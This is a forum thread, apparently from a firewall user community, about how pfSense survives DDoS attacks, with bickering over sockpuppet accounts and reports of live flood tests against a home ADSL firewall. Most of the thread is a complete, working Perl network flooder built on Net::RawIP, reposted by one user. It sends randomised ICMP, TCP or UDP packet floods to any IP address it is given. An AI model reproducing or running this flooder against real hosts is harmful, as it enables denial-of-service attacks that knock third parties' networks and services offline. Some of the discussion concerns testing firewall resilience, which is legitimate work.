What is the biggest attack in GBPS you stopped

doktornotor

Ashley Lorenzana actually said it well…
Friedrich Nietzsche carved it in stone
W. G. McAdoo had it about right.
To finish this off with Calvin Coolidge

firewalluser

This thread is a Textbook example… http://pastebin.com/irj4Fyd5

Supermule

The funny shit is that most of the arguers of ESF has limited numbers of posts.

A lot of them has had their first post here.

And one even registered today to begin posting in this topic. I wonder why…..

htilonom.PNG_thumb

htilonom

@Supermule:

The funny shit is that most of the arguers of ESF has limited numbers of posts.

A lot of them has had their first post here.

And one even registered today to begin posting in this topic. I wonder why…..

Yea, I registered because you're out of control. For those who are unaware, please check out my Twitter profile where most of the time I spend talking about opnsense scams like the ones Supermule attempted here.

https://twitter.com/htilonom

Nullity

…like staring wide-eyed into the sun

firewalluser

Following htilonom on twitter back to the account start last year and the dislike for anonabox started me wondering, then I found this thread with htilonom posting on it.

https://www.reddit.com/r/PFSENSE/comments/35dl17/pfsense_vs_opnsense_articles/

Theres a definite pattern.

Guest

Ask yourself if you would provide a script to strangers that can down almost anything with 3mb/s traffic and wait for a fix.

Hmmm, and what kind of script you where showing them all here in the forum in this post then? ???

DDoS pfSense dies on XSYN and OVH scripts.

Supermule

Not the one I was using but similar :)

Guest

Not the one I was using but similar :)

Ahh ok then this time here in this thread we are talking about another one, right?

htilonom

@firewalluser:

Following htilonom on twitter back to the account start last year and the dislike for anonabox started me wondering, then I found this thread with htilonom posting on it.

https://www.reddit.com/r/PFSENSE/comments/35dl17/pfsense_vs_opnsense_articles/

Theres a definite pattern.

Can you elaborate? Not sure if you meant it in a good or a negative way…

Supermule

Yes. That was just an example of how easy it is to get a script that can be used to annoy people.

@BlueKobold:

Not the one I was using but similar :)

Ahh ok then this time here in this thread we are talking about another one, right?

Guest

Ok it was only for my better understanding, why all peoples where talking to you, that you where not
be at the willing to show the script and in another thread it was perhaps able to read for everyone.
Thanks.

Yes. That was just an example of how easy it is to get a script that can be used to annoy people.

firewalluser

@Supermule:

#!/usr/bin/perl -w

=================================================

simple network flooder script

takes type of flood (icmp, tcp, udp) as param

optionally takes dest ip and packet count

=================================================

my $VERSION = 0.5;

=================================================

use strict;
use Net::RawIP;

my $flood = shift or &usage();
my $dstip = shift || '127.0.0.1';
my $pktct = shift || 100;

&icmpflood($dstip, $pktct) if $flood =~ 'icmp';
&tcpflood($dstip, $pktct) if $flood =~ 'tcp';
&udpflood($dstip, $pktct) if $flood =~ 'udp';

sub icmpflood() {
my($dstip, $pktct, $code, $type, $frag);
$dstip = shift;
$pktct = shift;

print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {

$code = int(rand(255));
$type = int(rand(255));
$frag = int(rand(2));

my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
icmp => {
code => $code,
type => $type,
}
});

$packet->send;
print "sent icmp $type->$code, frag: $frag\n";
}
print "\nflood complete\n\n";
}

sub tcpflood() {
my($dstip, $pktct, $sport, $dport, $frag, $urg, $psh, $rst, $fin,
$syn, $ack);
$dstip = shift;
$pktct = shift;
print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {

$sport = int(rand(65535));
$dport = int(rand(65535));
$frag = int(rand(2));
$urg = int(rand(2));
$psh = int(rand(2));
$rst = int(rand(2));
$fin = int(rand(2));
$syn = int(rand(2));
$ack = int(rand(2));

my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
tcp => {
source => $sport,
dest => $dport,
urg => $urg,
psh => $psh,
rst => $rst,
fin => $fin,
syn => $syn,
ack => $ack,
}
});

$packet->send;
print "sent tcp packet from $sport to $dport, frag: $frag, psh:
$psh, rst: $rst, fin: $fin, syn: $syn, ack: $ack\n";
}
print "\nflood complete\n\n";
}

sub udpflood() {
my($dstip, $pktct, $sport, $dport, $frag);
$dstip = shift;
$pktct = shift;

print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {

$sport = int(rand(255));
$dport = int(rand(255));
$frag = int(rand(2));

my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
udp => {
source => $sport,
dest => $dport,
}
});

$packet->send;
print "sent udp packet from $sport to $dport, frag: $frag\n";
}
print "\nflood complete\n\n";
}

sub usage() {
print "
need to set a valid flood type (one of icmp, tcp, udp)
optionally set dest ip and packetcount

example:

$0 [tcp udp icmp] \n\n";
exit 0;
}

A shared script. Page 21 in this thread as I've called SM out earlier on for not sharing the script, but saying that I didnt get taken down directly by the attacks but when I started to use some things in the gui namely RRD graph thats when the fw went unresponsive, my experiences are around pages June 2 (Pages 31-35 iirc).

@firewalluser:

You can stop it now for that ip address as I'm on another one.

I dont think it was pingable we could for the next test make it pingable but the problem with ADSL is its faster down than up so you may not get consistent pings back anyway.

When you say NAT'able what do you mean by that?

I tried a variety of different settings throughout, like trying to access ip addresses that were closer to me than the ip addresses coming in to port 80, swapped the firewall optimisation around from aggressive to normal to high latency (satellite links) whilst trying to get out but no joy at getting any webpages up throughout, the odd DNS request packet got out seen as a green icon in the dynamic fw log.

Interestingly it seemed to max out at 2.42Mbps yet various speed tests suggest I have a 5Mbps adsl connection. CPU was 100% through out.

FW stayed responsive throughout with snort running, changing various rules made some of the dashboard interface graphs stop updating second by second to maybe updating 10seconds later but I get that anyway when updating some rules or changing things in snort.

The only time I managed to kill the fw was trying to load the RRD graphs for All just a moment ago with the other fw webpages (dashboard, system activity, dynamic fw log) opened along with one or two other fw webpages open when changing rules etc, otherwise I'd have stayed on the old ip address for longer trying different things.

jwt

@Supermule:

Franco was the only one willing to help get it upstream and the connection was made when I asked him politely.

Nothing more in it.

Brian, I won't tollerate hostility or lies. You stated at least two things that aren't true in this post.

You should retract what you've said that isn't true.

jwt

This topic is now locked.